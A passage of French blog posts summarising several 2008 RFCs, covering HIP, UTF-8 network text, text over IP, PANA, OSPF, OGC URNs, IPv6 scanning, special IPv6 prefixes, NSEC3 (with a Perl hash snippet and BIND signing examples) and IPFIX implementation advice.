La section 4.1 décrit comment former une association entre deux machines HIP. Celle qui demande l'association est nommée l'initiateur, celle qui l'accepte le répondeur. Le protocole d'association nécessite quatre paquets. En effet, avec seulement trois paquets, comme le fait TCP (RFC 793) lors de l'établissement d'une connexion (Three-way handshake), on ne peut pas à la fois se protéger contre les DoS et permettre des options par connexion. Se protéger contre les DoS nécessite de ne pas garder d'état tant que le pair n'est pas authentifié, même faiblement. Les techniques qui permettent à TCP de ne pas garder d'état sur le « répondeur », telles que les SYN cookies du RFC 4987 sont incompatibles avec les options TCP.
Voici pourquoi les protocoles plus récents comme SCTP (RFC 3286) ou comme HIP nécessitent quatre paquets.
Dans HIP, ils sont nommés I1, R1, I2 et R2. Les paquets I sont envoyés par l'initiateur et les paquets R par le répondeur.
L'établissement d'une association se passe donc comme ceci :
Le puzzle, détaillé en section 4.1.1, est un petit problème de calcul que l'initiateur doit résoudre pour montrer qu'il est près à « payer », à faire un effort pour que l'association soit acceptée. La difficulté du puzzle peut être réglée par le répondeur. En pratique, il est très difficile d'imaginer un puzzle qui soit dissuasif contre des attaquants disposant d'un botnet entier, tout en étant soluble par des appareils simples, genre téléphone portable, ne possédant guère de puissance de calcul. (La section 4.1.1 détaille ce problème et les solutions possibles.)
La section 4.1.3 détaille l'utilisation du Diffie-Hellman.
Une des grandes forces de HIP est la possibilité de mettre à jour une association existante (section 4.2). À tout moment, pendant la session, un paquet de type UPDATE peut être envoyé pour changer certains paramètres de la session, comme les localisateurs (les adresses IP) utilisées. La signature des paquets permet de s'assurer que le paquet UPDATE est authentique.
La section 5 est longue car elle détaille le format, bit par bit, de tous les paquets échangés. Il y a huit types de paquets (section 5.3) comme I1, R1, I2, R2 ou comme UPDATE, présenté plus haut.
Enfin, la section 6 détaille le traitement des paquets, ce qu'il faut faire en les recevant, les erreurs et la façon de les gérer (règle simple : ne pas renvoyer de paquets HIP en cas d'anomalie, seulement des ICMP, et avec un débit limité, car on ne peut pas être sûr du pair s'il y a une erreur), etc.
Date de publication du RFC : Mars 2008
Auteur(s) du RFC : J. Klensin, M. Padlipsky
Chemin des normes
Première rédaction de cet article le 30 mars 2008
Il ne reste plus beaucoup de normes Internet qui soient limitées à l'ASCII et elles tombent une à une. Un des problèmes rencontrés pour éliminer les dernières est que certains protocoles transmettent du texte et que « texte », à l'IETF, voulait toujours dire seulement ASCII. Voici que ce RFC introduit un nouveau type de texte, utilisant Unicode.
Pendant longtemps, plusieurs normes comme le RFC 959 sur FTP faisaient référence à des données de type texte, c'est-à-dire sans formatage, avec des lignes terminées par la séquence CRLF (Carriage Return puis Line Feed). Cette définition du texte, souvent nommé « NVT », datant du RFC 854, limitait le texte au jeu de caractères ASCII, jeu de caractères qui ne permet pas de représenter toutes les écritures du monde. Où est le problème ? peut-on se demander. Pourquoi ne pas simplement remplacer ASCII par Unicode partout dans le texte ? C'est en effet la bonne solution mais le diable est dans les détails et, Unicode étant beaucoup plus riche qu'ASCII et n'étant pas figé, traiter ces détails a pris du temps. (Et ce RFC a fait l'objet de nombreuses controverses.) Unicode a plusieurs encodages, plusieurs façons de représenter une fin de ligne et même plusieurs façons de représenter le même caractère.
Le RFC pose donc comme règles (section 2) :
Le choix d'UTF-8 provient de sa large utilisation dans beaucoup de protocoles Internet, due en partie au fait qu'il est un sur-ensemble de l'encodage ASCII.
Le choix du CRLF comme indicateur d'une fin de ligne est également
dû à sa large utilisation aujourd'hui. Bien qu'Unicode aie des
caractères plus adaptés (Line separator,
U+0028
et Paragraph separator,
U+0029
), ils sont très peu utilisés. La
passionnante annexe C
discute en détail ce choix.
La normalisation fait l'objet d'une section 3 détaillée. Elle est
nécessaire car Unicode permet de représenter un caractère de plusieurs
façons. Ainsi, U+2126
, Ohm
sign, Ω, a une forme canonique qui est
U+03A9
, Greek capital letter
omega , Ω, (les symboles scientifiques ne sont normalement pas
codés séparément dans Unicode et ceux qui le sont sont normalisés dans
une lettre ordinaire). Cas plus connu, deux caractères peuvent se
combiner par exemple U+0061
U+0300
se combinent, par le mécanisme NFC, en
U+00E0
(la première séquence est faite d'un petit
a et de l'accent grave combinant, la seconde est donc juste un
à). L'obligation de normalisation rendra donc plus facile la
comparaison des textes (la section 6 sur la sécurité note toutefois
que le pare-feu prudent ne doit pas supposer que l'envoyeur respectera
la norme).
La section 4 couvre un autre problème délicat, celui des versions d'Unicode. Contrairement à ASCII, qui était figé dès le début, des nouveaux caractères sont ajoutés dans Unicode régulièrement, ainsi que de nouvelles règles de normalisation. Si on ne fait pas attention, une nouvelle version d'Unicode pourrait rendre invalides (car non normalisés) des textes auparavant valables. Pour éviter cela, notre RFC interdit l'utilisation des points de code non affectés. Les politiques de stabilité du consortium Unicode garantissent que, dans ce cas, la normalisation NFC est stable (la section 5.2 discute également ce choix).
La section 5 explique quelles normes pourrait tirer profit de ce nouveau RFC. Celles qui utilisent déjà UTF-8, comme LDAP, ne sont pas concernées. Mais, outre FTP, déjà cité, cette nouvelle référence pourrait intéresser des protocoles comme whois (dont le RFC 3912 note que, en théorie, il est limité à ASCII).
Cas rare chez les RFC, il se termine par des annexes traitant d'histoire. L'excellente annexe A revient sur l'histoire tourmentée des jeux de caractères dans Internet, du RFC 20, qui imposera ASCII, au RFC 318 qui sera le premier à mentionner le « NVT » (Network Virtual Terminal). L'annexe B, elle, extrait de différents RFC, ce qui est à ce jour la définition la plus complète et la plus correcte de la norme NVT... que notre RFC remplace. Bel hommage du présent au passé.
Date de publication du RFC : Juin 2008
Auteur(s) du RFC : A. van Wijk, G. Gybels
Pour information
Réalisé dans le cadre du groupe de travail IETF sipping
Première rédaction de cet article le 4 juin 2008
De même que le sigle VoIP désigne le transport de la voix sur IP, ToIP veut dire « Texte sur IP » et désigne le transport de texte au dessus d'IP, une technique proche de la messagerie instantanée mais néanmoins distincte. Ce RFC définit un cadre pour la mise en œuvre de ToIP sur le protocole SIP.
SIP, normalisé dans le RFC 3261, est un des grands succès de l'Internet. C'est le seul protocole ouvert permettant des services tel que la téléphonie sur IP. D'où l'idée de l'utiliser pour le ToIP. Mais qu'est-ce que le ToIP ?
La section 1 du RFC répond à cette question : au contraire de la messagerie instantanée, qui est semi-interactive (le texte n'est envoyé qu'après une action explicite de l'utilisateur), le texte-sur-IP est commplètement « temps réel », il est transmis au fur et à mesure qu'il est tapé. Il est largement utilisé par les sourds ou les personnes atteintes d'un handicap de la parole (le RFC 3351 détaille les demandes spécifiques de ces utilisateurs). Mais des utilisateurs non-handicapés apprécient également la réactivité de ce medium. Il est également utile dans certains environnements, par exemple une usine bruyante.
Étant proche de la téléphonie, il est donc logique de vouloir le réaliser avec les protocoles de signalisation SIP (RFC 3261) et de transport de données RTP (RFC 3550). RTP a déjà une norme pour le transport du texte, le RFC 4103.
Le cahier des charges proprement dit débute à la section 5 du RFC. Le ToIP doit être l'équivalent du téléphone et doit donc fournir un transport et une présentation « en temps réel », une transmission bidirectionnelle, et doit pouvoir être utilisé en même temps que d'autres médias tels que la vidéo (la norme ITU F.703 pose également ces exigences). Parmi les nombreux détails qui émaillent la section 5, on peut noter :
La section 6 détaille comment le service pourrait être implémenté, avec les équipements et logiciels SIP et RTP existants. L'interconnexion avec la téléphonie classique n'est pas oubliée, puisque la section 6.2.5.1 détaille comment faire passer du texte « temps réel » sur cette téléphonie traditionnelle, selon la norme (ou plutôt la description de diverses normes) ITU V.18.
Enfin, la section 7 couvre les cas divers, comme l'accès aux services d'urgence. J'ignore s'il est actuellement réaliste d'appeler les pompiers en texte seul...
Date de publication du RFC : Mai 2008
Auteur(s) du RFC : P. Jayaraman (Net.Com), R. Lopez (Univ. of Murcia), Y. Ohba (Toshiba), M. Parthasarathy (Nokia), A. Yegin (Samsung)
Pour information
Réalisé dans le cadre du groupe de travail IETF pana
Première rédaction de cet article le 14 mai 2008
Appliquant le cahier des charges qui avait été défini dans le RFC 4058, le protocole PANA vient d'être normalisé dans le RFC 5191 et notre RFC accompagne cette spécification, pour décrire les caractéristiques de haut niveau du protocole.
PANA sert à transporter un protocole d'authentification, typiquement EAP (RFC 3748), entre une machine qui veut accéder à un réseau (la PaC, PANA Client) et une machine d'authentification, le PAA (PANA Authentication Agent). (Ces rôles sont expliqués dans la section 2 du RFC, la section 3 détaillant les différentes communications entre eux.) Après le succès de l'authentification, le PAA indiquera à l'EP (Enforcement Point, typiquement un routeur ou un commutateur) qu'il peut laisser passer le trafic du client, du PaC.
Ces rôles peuvent être situés sur des machines différentes ou pas. Par exemple, en ADSL, le PAA et l'EP seront typiquement situés dans le même BRAS. Le protocole PANA ne spécifie que la communication entre le PaC et le PAA.
À noter que, pour prendre sa décision, le PAA pourra être lui-même client d'un protocole d'AAA comme Radius (RFC 2865) ou Diameter (RFC 6733).
PANA a été conçu pour s'adapter à des environnements très différents, notamment du point de vue de la sécurité (section 4 du RFC). Par exemple, il peut y avoir un canal sûr entre le PaC et le PAA, avant même que PANA ne tourne ou pas. S'il existe un tel canal sûr (cas du WiFi avec WPA ou bien cas où la liaison physique entre le PaC et le PAA est considérée comme sûre), PANA est très simple. Dans le cas contraire, il est important d'utiliser des méthodes EAP résistantes à l'espionnage ou à la modification des paquets.
Date de publication du RFC : Mai 2008
Auteur(s) du RFC : D. Forsberg (Nokia), Y. Ohba
(Toshiba), B. Patil
(Nokia), H. Tschofenig
(Siemens), A. Yegin (Samsung)
Chemin des normes
Première rédaction de cet article le 26 mai 2008
PANA est un protocole conçu pour transporter un protocole d'authentification lors d'accès à un réseau, EAP. Le RFC 5193 donne une vision de haut niveau de PANA, notre RFC 5191, quant à lui, définit en détail le protocole. Comme l'indiquent les appartenances des auteurs, PANA et EAP sont surtout utilisés dans le monde de la téléphonie mobile.
PANA est assez simple : les messages EAP (RFC 3748) sont encapsulés dans les messages PANA, qui sont transportés sur UDP. PANA ne fait pas d'authentification lui-même, il transporte juste des paquets. Les méthodes d'authenfication sont donc complètement extérieures à PANA.
La section 2 décrit la terminologie de PANA, pour laquelle il vaut mieux se référer au RFC 5193. La machine qui veut accéder au réseau (par exemple un téléphone portable) est le client PANA, le PaC. La machine avec laquelle elle parle est le serveur PANA, le PAA. Pour prendre sa décision, ce serveur va souvent parler à un serveur AAA, par exemple avec la protocole Radius (RFC 2865). Une fois l'authentification terminée, le trafic réel passera par un routeur ou autre machine d'accès, l'EP. Souvent, EP et PAA seront dans la même boîte et communiqueront via une API
La section 3 résume le protocole : les dialogues PANA sont composés de requêtes et de réponses, chaque message portant ou ou plusieurs AVP. Le transport utilisé est UDP, choisi pour sa simplicité de mise en œuvre.
Puis la section 4 détaille le protocole. Le PaC ou le PAA
peuvent être à l'origine du dialogue. Lorsque le PaC veut
s'authentifier (section 4.1), il envoie une requête
PANA-Client-Initiation
au PAA. Notez que le
mécanisme de découverte du PANA n'est pas spécifié ici (une solution
possible est décrite dans le RFC 5192). Le PAA répond alors
avec une PANA-Auth-Request
, qui porte la charge
EAP. Un échange de messages PANA-Auth-Answer
et
PANA-Auth-Request
suivra alors, jusqu'à ce qu'EAP
aie terminé. (La liste complète des messages possibles figure dans la section 7.) Si l'authentification est un succès, le dernier message
peut également contenir des consignes pour le PaC comme de
reconfigurer son adresse IP. Les autres
sous-sections de la section traitent de la ré-authentification en
cours de session ou bien de la terminaison de la session.
La section 5 précise les règles de traitement des messages, notamment en cas de perte de paquets (UDP ne promettant pas de délivrer tous les paquets). Chaque participant au dialogue PANA doit maintenir une séquence numérotée des paquets, pour pouvoir détecter et corriger une perte. La même section explique aussi comment s'assurer de l'intégrité des messages, via un hachage cryptographique.
Le format exact des messages est normalisé dans les sections 6 et 8, qui présentent les AVP, qui sont très proches de ceux du RFC 3588.
Vu le but de PANA, transporter un protocole d'authentification, il n'est pas étonnant que la section sur la sécurité soit détaillée. Cette section 11 du RFC explique donc les mécanismes qui, de concert avec ceux d'EAP, vont permettre d'utiliser PANA même sur un réseau peu sûr.
Date de publication du RFC : Mai 2008
Auteur(s) du RFC : S. Mirtorabi (Nuova), P. Psenak (Cisco), A. Lindem, A. Oswal (Redback networks)
Chemin des normes
Première rédaction de cet article le 7 juin 2008
Le protocole de routage OSPF, normalisé dans le RFC 2328 pour IPv4 et RFC 5340 pour IPv6 est toujours autant utilisé et connait régulièrement de nouveaux perfectionnements. C'est ainsi que, grâce à ce nouveau RFC, on peut désormais mettre un lien physique dans deux zones OSPF.
Dans l'OSPF classique multi-zones (les zones - areas - sont un mécanisme de découpage des grands réseaux OSPF, cf. section 3 du RFC 2328), un lien physique, par exemple un réseau Ethernet, ne peut appartenir qu'à une seule zone. C'est parfois contraignant, comme le montre l'exemple cité dans la section 1.1 de notre RFC. En effet, OSPF préférera toujours une route interne à la zone à une route inter-zones et cette règle l'empêchera parfois de choisir la meilleure route. Dans cet exemple : les routeurs R1 et R2 vont communiquer via les trois liens qui se trouvent dans la zone 1 et pas par l'épine dorsale, pourtant plus rapide mais située dans une autre zone.
La section 1.2 du RFC examine donc les contournements possibles et leurs inconvénients, avant que la 1.3 ne résume la solution choisie : permettre la création d'une adjacence entre deux routeurs OSPF au dessus d'un lien appartenant à une autre zone. Cette adjacence se fera comme si les deux routeurs étaient connectés par une liaison point-à-point (section 2.7 pour les détails).
La section 2, assez courte, détaille les changements que cela nécessite dans le protocole, changements qui sont compatibles avec les implémentations existantes (la section 3 discute cette compatibilité). Ce changement est le même pour OSPF IPv4 et OSPF IPv6 (OSPFv3), comme décrit dans la section 4.
Je ne connais pas encore d'implémentations de ce RFC.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : C. Reed (Open Geospatial Consortium)
Pour information
Première rédaction de cet article le 12 avril 2008
Régulièrement, un nouveau RFC vient enrichir
la grande famille des URN (RFC 8141, qui décrit les règles d'enregistrement), ces identificateurs
prévus pour être stables et pérennes. Cette fois, les URN
ogc
viennent s'ajouter, pour stocker les normes
et schémas de l'Open Geospatial
Consortium.
Ce consortium produit des normes utilisés dans le monde de la géographie comme le format GML et qui servent à communiquer des informations spatiales, utilisées dans de nombreux secteurs (sections 1 et 5 du RFC).
Les URN de l'OGC utiliseront le NID (Namespace
IDentifier) ogc
. Ce NID sera suivi d'un
type de ressource et des coordonnées de la ressources (section
2). L'OGC mettra en place un résolveur permettant de transformer ces
URN en URI, à l'adresse
http://urn.opengis.net/
. Le reste de la section
décrit les procédures de l'OGC, notamment pour garantir l'unicité de
ces URN.
Un exemple des nouveaux URN (section 3) est
urn:ogc:specification:gml:doc-is(02-023r4):3.0.0
qui identifiera une version particulière de la norme GML (d'où
l'utilisation de la ressource « specification »).
Date de publication du RFC : Mars 2008
Auteur(s) du RFC : T. Chown (University of Southampton)
Pour information
Première rédaction de cet article le 20 mai 2008
Une technique classique des méchants craqueurs qui cherchent à pénétrer un gentil réseau est de balayer (to scan) l'ensemble des adresses IP à l'intérieur du réseau, pour voir lesquelles répondent et ainsi trouver des cibles. Par exemple, Slammer l'utilisait. Mais en IPv6, où le nombre d'adresses possibles est infiniment plus grand, cette tactique est-elle encore efficace ? (Notez que ce RFC a, depuis, été remplacé par le RFC 7707.)
Imaginons que le craqueur aie déterminé que le préfixe IP du réseau
de sa victime est le 192.0.2.128/25
. Il reste 7
bits pour les machines soit 128 victimes potentielles à interroger, ce
qui ne prend que quelques secondes pour un programme comme
fping. Cette technique est donc très utilisée
pour avoir une liste des adresses IP utilisées... et donc des cibles
possibles. Mais en IPv6, si la victime a le
réseau de préfixe 2001:DB8:AF:42::/64
, comment
le balayer de manière efficace ? Cela fait 64 bits pour les machines
donc 18446744073709551616 adresses à examiner, ce qui ne peut pas se
faire en un temps raisonnable (sections 2.1 et 2.2 du RFC).
Certains en ont donc déduit que le balayage (scanning) était impossible en IPv6 et que donc, sur ce point, IPv6 offrait davantage de sécurité qu'IPv4.
Mais notre RFC montre que ce n'est pas si simple et qu'il existe d'autres méthodes que la force brute pour trouver les machines allumées (un excellent article de Steve Bellovin avait déjà déblayé ce terrain).
La section 2.3 parle par exemple de l'exploitation de conventions
d'adressage. Si l'administrateur du réseau
2001:DB8:AF:42::/64
cité plus haut numérote ses
machines 2001:DB8:AF:42::1
,
2001:DB8:AF:42::2
,
2001:DB8:AF:42::3
, etc, l'attaquant n'aura à
tester qu'une petite partie des adresses théoriques. Si au lieu
d'adresses calculées ainsi, on utilise la traditionnelle
autoconfiguration sans état d'IPv6 (RFC 4862), la
connaissance du fournisseur des cartes Ethernet
fournit déjà un bon moyen de sérieusement réduire l'espace de recherche.
Les sections 3 et 4 du RFC listent l'ensemble des techniques connues et que le méchant pourrait utiliser pour arriver néanmoins à balayer un réseau IPv6. La section 4 concerne les cas où l'attaquant est lui-même sur ce réseau et le problème est alors assez simple (il lui suffit d'espionner les paquets ND (Neighbor Discovery, cf. RFC 4861). La section 3 parle des cas où l'attaquant n'est pas sur le réseau. Sa tâche est alors plus difficile mais reste faisable : par exemple la section 3.3 détaille l'information qu'on peut tirer d'un transfert de zone DNS, et la 3.4 l'intérêt qu'on peut trouver à regarder les journaux d'un gros serveur, journaux où on trouvera les adresses de clients qui sont autant de cibles potentielles.
Plus moderne est l'observation des pairs dans un réseau P2P (section 3.5). La plupart des protocoles de P2P, par exemple BitTorrent, mettent en rapport direct les « offreurs » et les « preneurs » et, en offrant du contenu intéressant, on peut récolter beaucoup d'adresses IP de machines.
La section 5 passe aux recommandations et contre-mesures :
utilisation d'adresses « vie privée » (RFC 8981), dont la
durée de vie est limitée, utilisation d'adresses
EUI-64 (RFC 4291, cf. section 5.1) mais sans l'adresse
MAC (section 5.3), configuration du serveur
DHCP (RFC 8415) pour ne pas attribuer les adresses
séquentiellement à partir de ::1
(section 5.4),
etc.
Enfin, en guise de synthèse, la section 7, qui résume le problème et les moyens de le limiter, rappelle que dissimuler les adresses IP des machines est de la Sécurité par l'obscurité : cela peut ralentir l'attaquant, mais cela ne doit certainement pas être utilisé comme unique moyen de défense, car, tôt ou tard, l'attaquant trouvera ces adresses.
Un nouveau RFC, plus détaillé, a remplacé celui-ci, le RFC 7707.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : M. Blanchet (Viagenie)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 3 avril 2008
Un certain nombre de préfixes IPv6 ont une signification spéciale et ce RFC les documente, pour éviter aux lecteurs de devoir fouiller dans les nombreux RFC originaux. (Depuis, ce RFC a été remplacé par le registre décrit dans le RFC 6890.)
Normalement, les préfixes des réseaux IPv6 sont attribués par l'IANA aux RIR qui les allouent ensuite aux LIR (qui sont en général des FAI). Ces allocations et les affectations aux utilisateurs finaux sont enregistrées par les RIR et sont publiquement accessibles via des protocoles comme whois.
Mais certains préfixes sont spéciaux et échappent à ce mécanisme. Ils ont été réservés par tel ou tel RFC et sont donc dispersés à plusieurs endroits. Notre RFC, écrit par l'IANA, rassemble toutes ces réservations en un seul endroit. (Il existe un RFC équivalent pour IPv4, le RFC 5737.)
Voici quelques exemples de préfixes ainsi documentés :
2001:DB8::/32
(section 2.6), réservé pour la documentation par le RFC 3849
(par exemple pour rédiger des manuels, sans craindre que les adresses
IP d'exemple soient utilisées),FE80::/10
, réservé pour les adresses
locales au lien par le RFC 4291,2001:20::/28
, réservé pour créer des identificateurs
(et non de simples adresses) sous le nom d'ORCHID (RFC 7343),FEC0::/10
, celles-ci
ayant été abandonnées par le RFC 3879.Date de publication du RFC : Mars 2008
Auteur(s) du RFC : B. Laurie, G. Sisson, R. Arends (Nominet), D. Blacka (Verisign)
Chemin des normes
Première rédaction de cet article le 6 mars 2008
Dernière mise à jour le 1 septembre 2010
L'enregistrement NSEC3 permet de résoudre un problème agaçant de DNSSEC, le fait que ce dernier permette l'enumération de tous les noms de domaine d'une zone signée. NSEC3 permet donc d'établir la non-existence d'un domaine sans rien révéler sur les autres domaines.
DNSSEC (RFC 4033) authentifie les enregistrements DNS en ajoutant un enregistrement RRSIG (RFC 4034) qui contient une signature des enregistrements qu'on veut authentifier. Le problème est que, si le nom de domaine demandé n'existe pas (réponse NXDOMAIN pour No Such Domain), il n'y a pas d'enregistrement à signer. Ce problème est connu sous le nom de preuve de non-existence et c'est un des points les plus difficiles de DNSSEC (section 5.4 du RFC 4035). Le RFC 4034, section 4, le traitait en introduisant un enregistrement NSEC, signé par un RRSIG, qui indiquait le domaine suivant celui demandé. En vérifiant que ce domaine suivant était bien situé après celui demandé (et que le domaine demandé était situé après le nom en partie gauche du NSEC), le résolveur pouvait être sûr de la non-existence du nom qu'il avait demandé.
Mais le gros problème de NSEC est qu'il permet l'énumération. Une fois qu'on a découvert le nom de domaine suivant, on peut passer au suivant, puis à celui d'après et ainsi de suite, on a récupéré toute la zone, même si son administrateur ne le voulait pas.
Le registre de .uk, Nominet, a clairement indiqué que c'était inacceptable pour eux et qu'ils ne déploieraient pas DNSSEC sans une solution à ce problème politico-légal.
Le nouvel enregistrement NSEC3 résout le problème en ne donnant pas le nom du domaine suivant mais son résumé cryptographique, son empreinte.
Le principe de NSEC 3 est le suivant. Les résumés de tous les noms sont classés par ordre alphabétique (c'est arbitraire, l'important est que cela soit reproductible). La partie gauche (owner name) de l'enregistrement NSEC3 n'est pas un nom de domaine mais un résumé. Idem pour la partie droite.
L'enregistrement contient aussi quelques autres paramètres comme l'algorithme de calcul du résumé (section 3.1.1, les sections suivantes décrivant les autres paramètres). Voici un enregistrement NSEC3 au format suggéré section 3.3 :
2t7b4g4vsa5smi47k61mv5bv1a22bojr.example. NSEC3 1 1 12 aabbccdd ( 2vptu5timamqttgl4luu9kg21e0aor3s A RRSIG )
Le résolveur qui reçoit un NXDOMAIN peut calculer le résumé du nom qu'il a demandé et, si l'enregistrement NSEC3 est correct, ce résumé doit tomber entre les deux résumés du NSEC3 (celui de gauche et celui de droite). Ainsi, si la question est le nom D1, et que le résolveur reçoit :
... NXDOMAIN H0 NSEC3 H2 ... H0 RRSIG ...
il doit calculer H1, le résumé de D1 et vérifier que H0 < H1 < H2 (et naturellement vérifier le RRSIG, la signature). Ne connaissant que H0 et H2, il ne peut pas retrouver D0 et D2. Notez bien que l'ordre ne concerne que H0, H1 et H2, D0, D1 et D2 sont situés dans un ordre complètement différent. Comme avec NSEC, tout repose sur l'existence d'un ordre des éléments sauf que, avec NSEC3, ce sont les résumés cryptographiques qui sont ordonnés.
La méthode de calcul du résumé est détaillée en section 5. Par exemple, un sel est ajouté au nom, pour rendre plus difficile les attaques par dictionnaire. Sans ce sel (annexe C.1 pour les détails), un méchant pourrait, hors-ligne, générer tous les résumés pour tous les noms potentiels et vérifier ensuite simplement leur existence. Toujours pour rendre plus difficile les attaques par dictionnaire, l'opération de résume est recommencé plusieurs fois, en suivant un paramètre qui indique le nombre d'itérations (il y en a toujours au moins une, section 10.3). Notez toutefois qu'en 2022, le RFC 9276 a remis en cause ces techniques et que sel et itérations sont désormais très déconseillés.
Ce nombre d'itérations a une influence sur les performances du
résolveur et du serveur faisant autorité. Les chiffres exacts peuvent
être trouvés dans l'article de Yuri Schaeffer,
« NSEC3
Hash Performance ». En pratique, les zones
actuellement signées ont de une à dix itérations (dig
NSECPARAM $ZONE
pour le voir, il faut un dig >= 9.6).
Due à Kim-Minh Kaplan, voici une mise en œuvre en Perl du résumé :
use MIME::Base32; use Digest::SHA1 qw(sha1); my ($salt, $iteration, $name) = @ARGV; $salt = pack "H*", $salt; $name =~ y/A-Z/a-z/; $name =~ s/\.*$//; my @labels = split('\.', $name . ".", -1); @labels = map { pack("C", length($_)) . $_ } @labels; $name = join '', @labels; foreach (0..$iteration) { $name = sha1("$name$salt"); } print MIME::Base32::encode($name), "\n";
On doit appeler ce programme avec trois paramètres, le sel, le nombre d'itérations supplémentaires et le nom à résumer.
Notez que les dernières versions de BIND
(depuis au moins la 9.7) sont livrées avec un programme plus
perfectionné, nsec3hash
, qui comprend en plus
d'autres algorithmes que SHA-1. Voici un exemple d'utilisation :
[Récupérer les paramètres avec lesquels les noms sont résumés.] % dig +short NSEC3PARAM pm. 1 0 1 BADFE11A % nsec3hash BADFE11A 1 1 pm P3JUUU69O1AP1AI8DLNVO7L7A0SKT56S (salt=BADFE11A, hash=1, iterations=1) [Et on retrouve bien ce résumé dans les enregistrements NSEC3 : % dig +dnssec ANY nimportequoi.pm. ... P3JUUU69O1AP1AI8DLNVO7L7A0SKT56S.pm. 5400 IN NSEC3 1 1 1 BADFE11A \ L6U66FHPKD109EODA9R2SV8RGFSUAUQ3 NS SOA RRSIG DNSKEY NSEC3PARAM
NSEC3 contient plein d'autres fonctions intéressantes, par exemple la section 6 décrit un mécanisme de retrait (opt-out) permettant aux enregistrement NSEC3 de « sauter » par dessus les zones non signées (dans un TLD, comme .se, il est clair que la majorité des zones ne seront pas signées, au moins au début).
Les détails sont très complexes (et couverts dans les sections 7 et 8 du RFC) ce qui explique que certains auteurs de logiciels DNS comme Bert Hubert, auteur de PowerDNS, aient estimé qu'il serait difficile de faire du NSEC3 en pratique (voir aussi son bon article sur DNSSEC).
Mais NSEC3 est aujourd'hui mis en œuvre dans plusieurs logiciels comme BIND, NSD ou le résolveur UNBOUND. NSEC3 sera probablement plus complexe et plus lent que NSEC mais c'est le prix à payer pour garder le contrôle de ses données.
Avec BIND 9.6 (ou supérieur), voici comment on génère une clé RSA utilisable pour NSEC 3 :
% dnssec-keygen -a NSEC3RSASHA1 -b 1024 -n ZONE
et comment on signe :
dnssec-signzone -g -t -H 3 -3 babecafe $MYZONEFILE Kmykey.+007+30869
(babecafe
est le sel, en hexadécimal.)
Avec le retrait (opt-out), l'opération de signature prend une
option supplémentaire, -A
. Cette option permet de
réduire considérablement le temps de signature (pour une zone d'un
million de sous-zones, dont très peu sont signées, le retrait diminue
le temps de signature de dix minutes à vingt secondes), au prix de la
sécurité (il n'est désormais plus possible, si on utilise le retrait
de prouver l'existence ou la non-existence d'une sous-zone non signée).
Ici, si on a une zone example
comportant trois noms, example
(l'apex), preston.example
et central.example
:
@ IN SOA ns3.bortzmeyer.org. hostmaster.bortzmeyer.org. ( ... IN NS ns3.bortzmeyer.org. ... IN DNSKEY 256 3 7 AwEAAa...= central IN A 192.0.2.187 preston IN AAAA 2001:db8:8bd9:8bb0:a00:20ff:fe99:faf4
et qu'on la signe avec :
% dnssec-signzone -H 3 -3 babecafe -o example db.example Kmykey.+007+30869
(trois itérations supplémentaires, un sel qui vaut « babecafe »), on obtient un fichier db.example.signed
qui comprend trois NSEC3, un par nom :
FIDQ6ATJMOUCGLV3PNHS9694C1LFDSDT.example. 43200 IN NSEC3 1 0 3 BABECAFE JKNM5TRUGDISFPUU0CCLEMG2GTGOD2IP AAAA RRSIG JKNM5TRUGDISFPUU0CCLEMG2GTGOD2IP.example. 43200 IN NSEC3 1 0 3 BABECAFE O7FU7992IPFEUUUVC1A8NAF4255JF7JI NS SOA MX TXT RRSIG DNSKEY NSEC3PARAM O7FU7992IPFEUUUVC1A8NAF4255JF7JI.example. 43200 IN NSEC3 1 0 3 BABECAFE FIDQ6ATJMOUCGLV3PNHS9694C1LFDSDT A RRSIG
et le programme Perl ci-dessus permet de retrouver quel nom a été résumé pour donner la partie gauche de chacun de ces NSEC3 :
% perl hash-nsec3.pl babecafe 3 preston.example FIDQ6ATJMOUCGLV3PNHS9694C1LFDSDT
et on trouve ainsi que le premier NSEC3 de la liste était celui de preston.example
(mais l'opération inverse est impossible : c'est le principe du résumé).
Merci à Kim Minh Kaplan pour son aide à m'aider à comprendre ce difficile protocole et pour sa relecture.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : E. Boschi (Hitachi Europe), L. Mark (Fraunhofer FOKUS), J. Quittek, M. Stiemerling (NEC), P. Aitken (Cisco)
Pour information
Première rédaction de cet article le 18 juin 2008
Le protocole IPFIX, décrit désormais dans les RFC 7011 et RFC 7012, permet à une machine d'observation (en général un routeur) d'envoyer des résumés sur le trafic observé à une machine de récolte, qui produira ensuite de jolis camemberts. Ce RFC donne des conseils aux programmeurs qui développent des systèmes IPFIX, jusqu'à citer en section 10 une liste des erreurs de mise en œuvre les plus courantes.
C'est donc un document non-normatif (section 2 pour les détails), qui ne remplace pas les RFC qui spécifient le protocole mais qui les complète, si on développe un observateur ou un récolteur IPFIX.
Comme le rappelle la section 1.2, IPFIX fonctionne en envoyant des tuples TLV. Des gabarits (Template) décrivent les données possibles (des gabarits standards sont décrits dans le RFC 7012) et des enregistrements IPFIX (Data Record) contiennent les données elles-mêmes. Les tuples peuvent être envoyés avec plusieurs protocoles de transport, SCTP étant recommandé.
Après ces préliminaires, commencent les conseils aux implémenteurs. La section 3 discute l'implémentation des gabarits. Par exemple, l'exporteur devrait envoyer le gabarit avant les données. Mais, selon le protocole de transport utilisé, le gabarit peut arriver après et le récolteur devrait donc être patient, ne pas jeter immédiatement les données où le Template ID est inconnu (section 3.1).
Les données envoyées en IPFIX sont typiquement de grande taille et le programmeur doit donc faire attention à la taille des messages envoyés. Il ne faut pas dépasser la MTU en UDP (section 3.5).
La section 4 couvre les responsabilités de l'exporteur. Ainsi, 4.3 lui rappelle de maintenir les compteurs (par exemple le nombre de paquets d'un flot), y compris sur une longue période. S'il risque de ne pas en être capable, il doit plutôt utiliser des compteurs différentiels (Delta Counter, section 3.2.3 du RFC 7012). 4.5 se consacre aux enregistrements qui portent l'indication de l'heure et rappelle donc qu'il faut synchroniser ses horloges, par exemple avec NTP.
Ceux qui développent le logiciel du récolteur liront plutôt la section 5 qui leur rappellera, par exemple, que les identificateurs des gabarits (Template ID) ne sont uniques que par exporteur (plus rigoureusement, par observation domain) et qu'il faut donc maintenir une liste par exporteur.
